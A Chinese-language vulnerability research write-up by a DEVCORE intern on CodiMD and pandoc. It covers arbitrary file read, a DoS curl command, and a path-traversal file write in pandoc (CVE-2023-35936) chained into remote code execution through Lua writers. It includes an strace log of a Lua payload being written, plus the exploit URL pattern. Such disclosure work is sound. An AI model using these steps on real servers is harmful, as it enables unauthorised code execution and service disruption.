[TOC]
## 前言
身為一個 DEVCORE 的實習生,都在研究什麼目標呢?因緣際會之下研究起了 CodiMD,研究之後發現使用的 pandoc 轉檔功能存在著高風險的問題,因此繼續往 pandoc 挖掘,結果不小心發現了驚天秘密 …
## CodiMD 簡介及研究目標
### CodiMD 是什麼?
* 開源的軟體由 HackMD 團隊開發的
* 類似於 HackMD 的功能
* 適合社群,沒有複雜的權限還有存取控制
* 因為沒有複雜的權限導致後續的攻擊有非常好的利用
### 為何選擇 CodiMD 作為研究目標?
* DEVCORE intern program
* 我是第二屆的 DEVCORE intern
* 原本要研究 Node.js 相關的漏洞
* 那個時候是 AIS3 剛結束的時候,那個時候因為研究 Node.js 的 template engine 得到最佳專題獎,所以想說可以繼續往這方面研究,所以選擇研究 Node.js 相關的漏洞
* Cyku 大大建議從身邊的產品看起
* 那個時候剛好使用 CodiMD 做筆記,所以就從 CodiMD 看起囉
## 第一次 Review
### 嘗試尋找 server-side 弱點,無成果
* 找 package.json 中使用到的有沒有漏洞
* 用 [snyk](https://snyk.io/) 掃描 package.json 有沒有已知可以利用的漏洞,不過沒有找到可以利用的地方
* 沒什麼利用價值的 SSRF
* 在圖片的部分,因為會由 server 自己發送請求去抓圖片,所以可以用 server 訪問內網的資源,不過研究過後發現沒什麼利用價值
### 換口味練習 client-side
* 用 semgrep 靜態原始碼掃描
* 掃到 vimeo 功能存在 vimeo.com domain 下任意引入 jsonp
* 詳細的利用方法可以參考 Splitline 大大
* [某個自古以來就存在的 HackMD XSS — 劣質文章農場](https://blog.splitline.tw/hackmd-xss/)
## 第二次 Review
### 發現任意讀檔 with pandoc feature
* CodiMD 有串一個 Pandoc 轉檔功能
* 搭配下面的 payload 以及特定 pandoc 的 output format 可以實現任意讀檔
* ``

* 往下做一點 code review
```js=
const outputFormats = {
asciidoc: 'text/plain',
context: 'application/x-latex',
epub: 'application/epub+zip',
epub3: 'application/epub+zip',
latex: 'application/x-latex',
odt: 'application/vnd.oasis.opendocument.text',
pdf: 'application/pdf',
rst: 'text/plain',
rtf: 'application/rtf',
textile: 'text/plain',
docx: 'application/vnd.openxmlformats-officedocument.wordprocessingml.document'
}
```
* 上面是 CodiMD 自己定義可以使用的 outputFormats
```js=
try {
// TODO: timeout rejection
if (!contentType) {
return res.sendStatus(400)
}
await pandoc.convertToFile(content, 'markdown', exportType, path, [
'--metadata', `title=${title}`
])
...
```
* 可以看到在後續使用 pandoc 轉檔的時候並沒有限制 outputFormats 導致使用者可以指定任意 pandoc 有的 outputFormats
* 至此,看到 [pandoc 的官方文檔](https://pandoc.org/MANUAL.html#a-note-on-security)
:::info
Several output formats (including RTF, FB2, HTML with --self-contained, EPUB, Docx, and ODT) will embed encoded or raw images into the output file. An untrusted attacker could exploit this to view the contents of non-image files on the file system. (Using the --sandbox option can protect against this threat, but will also prevent including images in these formats.)
:::
* 這一切十分有趣,繼續看到 [pandoc 有的 outputFormats](https://pandoc.org/MANUAL.html#general-options)
```=
asciidoc (AsciiDoc) or asciidoctor (AsciiDoctor)
beamer (LaTeX beamer slide show)
bibtex (BibTeX bibliography)
biblatex (BibLaTeX bibliography)
chunkedhtml (zip archive of multiple linked HTML files)
commonmark (CommonMark Markdown)
commonmark_x (CommonMark Markdown with extensions)
context (ConTeXt)
csljson (CSL JSON bibliography)
docbook or docbook4 (DocBook 4)
docbook5 (DocBook 5)
docx (Word docx)
dokuwiki (DokuWiki markup)
epub or epub3 (EPUB v3 book)
epub2 (EPUB v2)
fb2 (FictionBook2 e-book)
gfm (GitHub-Flavored Markdown), or the deprecated and less accurate markdown_github; use markdown_github only if you need extensions not supported in gfm.
haddock (Haddock markup)
html or html5 (HTML, i.e. HTML5/XHTML polyglot markup)
html4 (XHTML 1.0 Transitional)
icml (InDesign ICML)
ipynb (Jupyter notebook)
jats_archiving (JATS XML, Archiving and Interchange Tag Set)
jats_articleauthoring (JATS XML, Article Authoring Tag Set)
jats_publishing (JATS XML, Journal Publishing Tag Set)
jats (alias for jats_archiving)
jira (Jira/Confluence wiki markup)
json (JSON version of native AST)
latex (LaTeX)
man (roff man)
markdown (Pandoc’s Markdown)
markdown_mmd (MultiMarkdown)
markdown_phpextra (PHP Markdown Extra)
markdown_strict (original unextended Markdown)
markua (Markua)
mediawiki (MediaWiki markup)
ms (roff ms)
muse (Muse)
native (native Haskell)
odt (OpenOffice text document)
opml (OPML)
opendocument (OpenDocument)
org (Emacs Org mode)
pdf (PDF)
plain (plain text)
pptx (PowerPoint slide show)
rst (reStructuredText)
rtf (Rich Text Format)
texinfo (GNU Texinfo)
textile (Textile)
slideous (Slideous HTML and JavaScript slide show)
slidy (Slidy HTML and JavaScript slide show)
dzslides (DZSlides HTML5 + JavaScript slide show)
revealjs (reveal.js HTML5 + JavaScript slide show)
s5 (S5 HTML and JavaScript slide show)
tei (TEI Simple)
typst (typst)
xwiki (XWiki markup)
zimwiki (ZimWiki markup)
the path of a custom Lua writer, see Custom readers and writers below
```
* 讓我們看一下結果

* 這個是我整理的結果
#### Type
* 有看 mime type
* fb2
* icml
* odt
* pdf
* 會看 magic number
* 會在 `/tmp` 下生成一個暫存的路徑,裡面會生成 `input.tex`
* 沒有 `pdflatex` 會報錯
* 可以用 `data://` 寫入檔案並且控制副檔名
* rtf
* 沒有限制
* ipynb
* docx
* 用 binwalk 拆了之後也沒有看到,不過如果給錯誤的路徑失敗,理論上是有 read file
* pptx
* 要 binwalk 拆包
* `_filename.extracted/ppt/media`
* 可以寫入,但是不可控副檔名,並且沒有在本地生成檔案
* epub
* 要 binwalk 拆包
* `_filename.extracted/EPUB/media`
* 可以寫入 `.lua` 可是並沒有在本地生成檔案,而是直接寫到檔案裡面,所以不可控
* 除了 `ipynb` 以外,其他的都有 protocol
* `file://`
* `data://`
* `http://`
* `https://`
## 第三次 Review
### 發現 pandoc 的 .lua filter
* 在 [Pandoc 的官方文檔](https://pandoc.org/MANUAL.html#custom-readers-and-writers)有提到如果在 `-t` 或是 `-f` 給檔名是 `.lua` 結尾的 file 會執行其中的 lua code
:::info
Pandoc can be extended with custom readers and writers written in Lua. (Pandoc includes a Lua interpreter, so Lua need not be installed separately.)
To use a custom reader or writer, simply specify the path to the Lua script in place of the input or output format. For example:
pandoc -t data/sample.lua
pandoc -f my_custom_markup_language.lua -t latex -s
:::
### How to generate file with .lua?
* CodiMD 裡面所有的檔案都會被存在 `/tmp` 下面,所以可以很容易的上傳 `.lua`
* 問題在於檔名基本上是猜不到的
* `hash.lua`
```js=
function randomFilename () {
const buf = crypto.randomBytes(16)
return `upload_${buf.toString('hex')}`
}
```
* 稍微用 python 算一下
* `python3 -c "print(16**32)"`
* 340282366920938463463374607431768211456
* 基本上是不太可能猜的到拉
### DoS
* 如果上傳的一個檔案的副檔名是非常長的,整個程式會 crash 掉,例如說 a.aaa ... aaa(999 個 a)
* `curl http://url/uploadimage -F "image=@/etc/ issue;filename=a.$(python3 -c \"print('a'*999)\")" `
## 精神勝利法 模擬 pdflatex 已安裝的情況
### Pandoc
* 在試了每一個 `exportType` 之後發現 `pdf` 這個 format 很有趣
* 可以吃 `latex`,並且用 `pdflatex` 轉檔案
* `latex` 可以寫檔、讀檔,不過寫檔無法寫到指定目錄
* 在 `pandoc` 生成的 `/tmp/tex2pdf.-hash/` 下寫入
* `pandoc` 會呼叫 `pdflatex` 並且把生成的 `/tmp/tex2pdf.-hash/` 帶入
### yaml 在 pandoc 的以及 pdflatex 的解析
* 在 `pandoc` 中是吃 `yaml` 的,`pdflatex` 也會吃
* 在檔案中寫入兩個 `yaml` 分別給兩者解析

* 上面的 `yaml` 是給 `pandoc` 吃的,下面的 `yaml` 是給 `pdflatex` 吃的
* 看一下結果

### 以 latex 寫入檔案並且觸發 RCE
* `latex` 可以透過 `fancyvrb` 這個 `package` 寫入檔案
* 在 `pandoc` 生成的 `/tmp/tex2pdf.-hash/` 下寫入 `.lua`
* 基本上只要知道路徑可以 RCE 了
* `Node.js -> pandoc -> pdflatex`
* 先找 parent process 再找 child process
* 在 `cmdline` 裡面會有呼叫 `pdflatex` 的指令,路徑就在裡面

* 上面的例子是用 `latex` 寫入檔案
* 在執行完成所有的命令之後會回收剛剛生成的檔案
* 笨方法,把 title 弄的很長,這樣就可以卡住他的 process,在這個期間內讀 `.lua` 就可以 RCE 了

* 上面是流程
### DEVCORE intern program 告一段落 回報漏洞

* 收到了一個感謝信還有一些獎品(口罩
## 第四次 Review(after story)
### fuzz and found pandoc arbitrary file write
* 在使用 `pdf` 作為 output format 轉檔的時候如果有圖片會嘗試讀取並且存檔
* 可以使用 `data://` 構造圖片

* 上面的 payload 會在 `pandoc` 生成的 `/tmp/tex2pdf.-hash/` 下寫入 `hash.lua`
* 這個時候想到一件事 -- 如果我把路徑 `urlencode` 過後會發生什麼?



* 可以看到我居然在 `/tmp` 下面新增了一個 `a.lua` 的檔案並且檔案中的內容是 `base64decode` 過後的結果
* 來追一下 `strace`
```bash=
mkdir("/tmp/tex2pdf.-5a2f467f089a797d", 0700) = 0
mkdir("/tmp/tex2pdf.-5a2f467f089a797d/c8d0af6a0694567ff2119846caa087150b2654d0.lua+/../../../../tmp", 0777) = -1 ENOENT (No such file or directory)
mkdir("/tmp/tex2pdf.-5a2f467f089a797d/c8d0af6a0694567ff2119846caa087150b2654d0.lua+/../../../..", 0777) = -1 ENOENT (No such file or directory)
mkdir("/tmp/tex2pdf.-5a2f467f089a797d/c8d0af6a0694567ff2119846caa087150b2654d0.lua+/../../..", 0777) = -1 ENOENT (No such file or directory)
mkdir("/tmp/tex2pdf.-5a2f467f089a797d/c8d0af6a0694567ff2119846caa087150b2654d0.lua+/../..", 0777) = -1 ENOENT (No such file or directory)
mkdir("/tmp/tex2pdf.-5a2f467f089a797d/c8d0af6a0694567ff2119846caa087150b2654d0.lua+/..", 0777) = -1 ENOENT (No such file or directory)
mkdir("/tmp/tex2pdf.-5a2f467f089a797d/c8d0af6a0694567ff2119846caa087150b2654d0.lua+", 0777) = 0
mkdir("/tmp/tex2pdf.-5a2f467f089a797d/c8d0af6a0694567ff2119846caa087150b2654d0.lua+/..", 0777) = -1 EEXIST (File exists)
stat("/tmp/tex2pdf.-5a2f467f089a797d/c8d0af6a0694567ff2119846caa087150b2654d0.lua+/..", {st_mode=S_IFDIR|0700, st_size=4096, ...}) = 0
mkdir("/tmp/tex2pdf.-5a2f467f089a797d/c8d0af6a0694567ff2119846caa087150b2654d0.lua+/../..", 0777) = -1 EEXIST (File exists)
stat("/tmp/tex2pdf.-5a2f467f089a797d/c8d0af6a0694567ff2119846caa087150b2654d0.lua+/../..", {st_mode=S_IFDIR|S_ISVTX|0777, st_size=4096, ...}) = 0
mkdir("/tmp/tex2pdf.-5a2f467f089a797d/c8d0af6a0694567ff2119846caa087150b2654d0.lua+/../../..", 0777) = -1 EEXIST (File exists)
stat("/tmp/tex2pdf.-5a2f467f089a797d/c8d0af6a0694567ff2119846caa087150b2654d0.lua+/../../..", {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0
mkdir("/tmp/tex2pdf.-5a2f467f089a797d/c8d0af6a0694567ff2119846caa087150b2654d0.lua+/../../../..", 0777) = -1 EEXIST (File exists)
stat("/tmp/tex2pdf.-5a2f467f089a797d/c8d0af6a0694567ff2119846caa087150b2654d0.lua+/../../../..", {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0
mkdir("/tmp/tex2pdf.-5a2f467f089a797d/c8d0af6a0694567ff2119846caa087150b2654d0.lua+/../../../../tmp", 0777) = -1 EEXIST (File exists)
stat("/tmp/tex2pdf.-5a2f467f089a797d/c8d0af6a0694567ff2119846caa087150b2654d0.lua+/../../../../tmp", {st_mode=S_IFDIR|S_ISVTX|0777, st_size=4096, ...}) = 0
open("/tmp/tex2pdf.-5a2f467f089a797d/c8d0af6a0694567ff2119846caa087150b2654d0.lua+/../../../../tmp/b.lua", O_WRONLY|O_CREAT|O_NOCTTY|O_NONBLOCK|O_LARGEFILE, 0666) = 11
fstat(11, {st_mode=S_IFREG|0644, st_size=0, ...}) = 0
ftruncate(11, 0) = 0
ioctl(11, TIOCGWINSZ, 0x7ffdd6bed348) = -1 ENOTTY (Inappropriate ioctl for device)
write(11, "os.execute(\"python -c 'import so"..., 242) = 242
close(11) = 0
open("/tmp/tex2pdf.-5a2f467f089a797d/c8d0af6a0694567ff2119846caa087150b2654d0.lua+%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2ftmp%2fb%2elua", O_RDONLY|O_NOCTTY|O_NONBLOCK|O_LARGEFILE) = -1 ENOENT (No such file or directory)
```
* 上面只是其中一個例子,可以看到他一直到開啟了 `.lua` 檔案並且寫入
* 寫入 `.lua` 檔案之後搭配 `/note_id/pandoc?exportType=/path_to_lua/exploit.lua` 就可以 RCE 了
* 這個是不需要 `pdflatex` 也可以做到的事情,因此是在 default environment 下達成的 RCE
* 在 CodiMD 2.3.0 版本的時候新增了一個功能,在沒有使用者在的 note 中可以透過 `/api/notes/note_id` 去修改內容
* https://github.com/hackmdio/codimd/pull/1559
* 這個是不需要使用者身份可以直接改的
* 在所有的 CodiMD 都有預設的筆記,例如說 `features`,因此只要透過 api 修改 features 的內容就可以達到 RCE
* 在 CodiMD 2.0.0 版本到最新的版本都有 pandoc,所以在 2.0.0 版本以後都會有以上的問題,比較不一樣的是在 2.3.0 版本以前必須要有修改筆記的權限才可以,否則是無法透過 api 修改筆記的
:::danger
2.0.0 <= version 有 pandoc
2.3.0 <= version 有 api 可以 update 筆記 不需要使用者身份驗證可以修改筆記
如果目標是 2.3.0 以上並且無法 register 身份的話 可以透過修改 `/features` note RCE
如果目標低於 2.3.0 高於 2.0.0 需要透過 websocket 修改檔案
2.0.0 以下目前確定無法 RCE
:::
### 筆記的權限
* 以 2.3.0 版本以上為例
* 如果是 2.3.0 版本以下沒有 api 可以改筆記,因此都需要編輯筆記的權限才可以 RCE
| 權限 | Exploitable | 原因 |
|:---------:|:-----------:|:---------------------------------------------------------------:|
| Freely | Y | |
| Editable | Y | |
| Limited | Y/N | 以 guest 的身份無法訪問,因此頁面會是 500,帶入 cookie 可以解決 |
| Locked | Y | |
| Protected | Y/N | 以 guest 的身份無法訪問,因此頁面會是 500,帶入 cookie 可以解決 |
| Private | N | 除了筆記的擁有者,其他人無法訪問頁面 |
### 漏洞成因
* 使用原始文件的副檔名作為文件的副檔名。在修補程式之前,它通過查找最後一個 `.` 來獲取副檔名
* 如果使用副檔名 `.lua+%2f%2e%2e%2f%2e%2e%2fa%2elua`,當文件被寫入系統時,會被 urldecode,因此寫入的文件是 `hash.lua+/../../a.lua`
* 至於 code review 請原諒我,haskell 太難懂了 QQ
## 作者的解釋
### Impact
Pandoc is susceptible to an arbitrary file write vulnerability, which can be triggered by providing a specially crafted image element in the input when generating files using the `--extract-media` option or outputting to PDF format. This vulnerability allows an attacker to create or overwrite arbitrary files on the system (depending on the privileges of the process running pandoc).
This vulnerability only affects systems that (a) pass untrusted user input to pandoc and (b) allow pandoc to be used to produce a PDF or with the `--extract-media` option.
Here is a simple example:
b.md:
```=

```
Running
```bash=
pandoc b.md --extract-media=foo
```
will create a new file `a.lua` with contents `print "hello"` in the working directory. Any directory can be targeted by adding further percent-encoded directory components to the end of the URI.
The vulnerability exploits a flaw in the code pandoc uses to ensure that extracted media items are confined to the specified directory. For media from URIs and files that are not below the working directory, pandoc creates a file name based on the SHA1 of the contents and uses the original resource's extension as the extension. Prior to the patch, it obtained the extension by finding the last `.`, which in the case above includes `.lua+%2f%2e%2e%2f%2e%2e%2fa%2elua`. When the file is written to the file system, the percent-encoding is resolved, so the file written is `foo/2a0eaa89f43fada3e6c577beea4f2f8f53ab6a1d.lua+/../../a.lua`. In this way the exploit avoids the safeguards pandoc used to ensure that the extracted media is all confined to the specified directory (`foo`).
The fix is to unescape the percent-encoding prior to checking that the resource is not above the working directory, and prior to extracting the extension. Some code for checking that the path is below the working directory was flawed in a similar way and has also been fixed.
Note that the `--sandbox` option, which only affects IO done by readers and writers themselves, does not block this vulnerability.
### Patches
The vulnerability is patched in pandoc 3.1.4.
### Workarounds
Audit the pandoc command and disallow PDF output and the `--extract-media` option.
## CVE-2023-35936
* https://github.com/jgm/pandoc/security/advisories/GHSA-xj5q-fv23-575g
## 感謝 DEVCORE mentor 們的幫助

### 還有我的朋友
* @立委
* @Red Meow